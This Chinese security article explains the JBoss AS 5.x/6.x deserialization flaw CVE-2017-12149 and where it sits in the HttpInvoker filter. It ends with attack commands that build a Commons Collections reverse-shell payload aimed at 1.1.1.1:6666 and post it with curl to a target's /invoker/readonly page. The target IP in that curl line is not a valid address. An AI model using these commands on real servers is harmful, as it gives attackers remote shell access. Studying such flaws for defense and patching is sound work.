1. 极安网首页
  2. 网络安全技术

JBoss5.x/6.x反序列化RCE漏洞渗透测试

漏洞概述

2017年8月30日,Redhat公司发布了一个JbossAS 5.x系统的远程代码执行严重漏洞通告,相应的漏洞编号为 CVE-2017-12149。近期有安全研究者发现JbossAS 6.x也受该漏洞影响,攻击者可能利用此漏洞无需用户验证在系统上执行任意命令。

类型 描述
漏洞名称 JBOSSAS5.x/6.x反序列化命令执行漏洞
威胁类型 远程命令执行
威胁等级
漏洞ID CVE-2017-12149
受影响系统及应用版本 Jboss AS 5.x、Jboss AS 6.x

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

漏洞分析

JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。

概念 描述
Java序列化 把Java对象转换为字节序列的过程
Java反序列化 指把字节序列恢复为Java对象的过程
Java序列化与反序列化作用 便于保存数据,或者进行数据传输

来看一段Java序列化和反序列化的代码实例:

1、序列化
FileOutputStream fos = new FileOutputStream(file);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(st);
2、反序列化
FileInputStream fis = new FileInputStream(file);
ObjectInputStream ois = new ObjectInputStream(fis);
Student st1 = (Student) ois.readObject();

CVE-2017-12149 漏洞出现在 Jboss 的 HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,源码在 jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:
JBoss5.x/6.x反序列化RCE漏洞渗透测试-极安网可以看到,该过程反序列化时直接从 http 中获取数据,在没有进行检查或者过滤的情况下,尝试调用 readobject() 方法对数据流进行反序列操作,因此产生了Java反序列化漏洞

攻击方法

攻击者只需要构造带有需要执行Payload的 ser 文件,然后使用 curl 将二进制文件提交至目标服务器的invoker/readonly页面中,即可执行Payload中指定的命令,获取对电脑的控制权。

攻击示例代码如下:

//编译预置payload的java文件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

//反弹shell的IP和端口
java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap 1.1.1.1:6666

//使用curl向/invoker/readonly提交payload
curl http://192.268.197.25:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

原创文章,作者: Admin ,转载请注明出处:https://secvery.com/3498.html